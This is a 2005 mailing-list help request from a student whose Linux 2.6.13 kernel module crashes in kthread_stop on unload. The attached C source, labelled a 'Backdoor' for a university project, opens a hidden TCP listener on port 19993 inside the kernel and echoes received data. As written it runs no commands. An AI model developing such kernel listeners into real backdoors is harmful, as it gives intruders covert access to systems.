kthread_stop give me an error (kernel 2.6.13 gentoo-sources)

From: Redes II
Date: Sat Oct 08 2005 - 10:04:34 EST


Hi!!!

I'm trying to make a module for the university, on kernel 2.6.13.


Its a Backdoor - telnet......
but when i try to unload the module, kthread_stop give me this error:

Unable to handle kernel NULL pointer dereference at virtual address 00000000


i attached the code....


Help Me!!!!
Sebastian

Sorry for my bad English.
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <net/tcp.h>
#include <linux/kthread.h>

#define PORT 19993
#define MAX 1000
MODULE_DESCRIPTION("Backdoor Module");
MODULE_AUTHOR("Sebas, Uruguayo y Quincho");
MODULE_LICENSE("$LICENSE$");

void* thread (void*);
int recvfrom_backdoor(struct socket *sock, struct sockaddr_in *addr, unsigned char *buf);
int sendto_backdoor (struct socket *sock, struct sockaddr_in *to, unsigned char *buf,int len);

struct task_struct *p;
struct socket *sock, *newsock;

static int backdoor_init_module(void)
{
// int aux;
// aux = kernel_thread (&thread,NULL,CLONE_KERNEL);
p = kthread_create (thread,0,"Backdoor");
wake_up_process (p);
printk("Module backdoor init\n" );
return 0;
}

static void backdoor_exit_module(void)
{

sock_release (sock);
sock_release (newsock);
kthread_stop (p);
printk ("Cerro Socket\n\n\n");
printk( KERN_DEBUG "Module backdoor exit\n" );

}




void* thread (void* gg){
int SocketServ, err;
struct sockaddr_in servaddr;
char buff [MAX];
unsigned short puerto;
int bytes;
newsock = NULL;
puerto = PORT;
if ((SocketServ = sock_create (PF_INET, SOCK_STREAM, IPPROTO_TCP,&sock))< 0)
printk ("hola3");
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = INADDR_ANY;
servaddr.sin_port = htons(puerto);
printk (" creo socket\n");
if ((err=sock->ops->bind (sock, (struct sockaddr *) &servaddr, sizeof(servaddr)))<0){
printk("Error en bind %d\n", err);
//return -1;
}
if (sock->ops->listen(sock,5)<0){
printk("Error en listen\n");
//return -1;
}
while (1){
sock_create (PF_INET,SOCK_STREAM, IPPROTO_TCP, &newsock);
newsock->type = sock->type;
newsock->ops = sock->ops;
if ((sock->ops->accept(sock, newsock,0 )) <0)
printk ("error en accept\n");
else{
while ((bytes=recvfrom_backdoor (newsock,&servaddr,buff)) >2){
sendto_backdoor (newsock,&servaddr,buff,bytes-2);
}
}
if (newsock->ops != NULL){
sock_release (newsock);
printk ("Cerro Socket newsock\n");
}
}

// sock_release (sock);
// sock_release (newsock);
printk("Termina thread\n");
return 0;
}

int recvfrom_backdoor(struct socket *sock, struct sockaddr_in *addr, unsigned char *buf)
{
struct msghdr msg;
struct iovec iov;
int len;
mm_segment_t oldfs;

if (sock->sk==NULL) return 0;

msg.msg_flags = 0;
msg.msg_name = addr;
msg.msg_namelen = sizeof(struct sockaddr_in);
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_iov->iov_base = buf; /* Buffer donde se recv la info */
msg.msg_iov->iov_len = MAX; /* Capacidad Maxima del buffer */

oldfs = get_fs(); set_fs(KERNEL_DS);
len = sock_recvmsg(sock,&msg,1024,0);
set_fs(oldfs);

return len;
}


int sendto_backdoor (struct socket *sock, struct sockaddr_in *to, unsigned char *buf,int len){

struct msghdr msg;
struct iovec iov;
mm_segment_t oldfs;

if (sock->sk==NULL) return 0;

msg.msg_name = to;
msg.msg_namelen = sizeof(struct sockaddr_in);
msg.msg_flags = 0;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen =1;
msg.msg_iov->iov_base = buf; /* Buffer a enviar que se pasa por parametro */
msg.msg_iov->iov_len = len; /* Largo del buffer a enviar */

oldfs = get_fs(); set_fs(KERNEL_DS);
len = sock_sendmsg (sock,&msg,len);
set_fs(oldfs);
return len;
}

module_init(backdoor_init_module);
module_exit(backdoor_exit_module);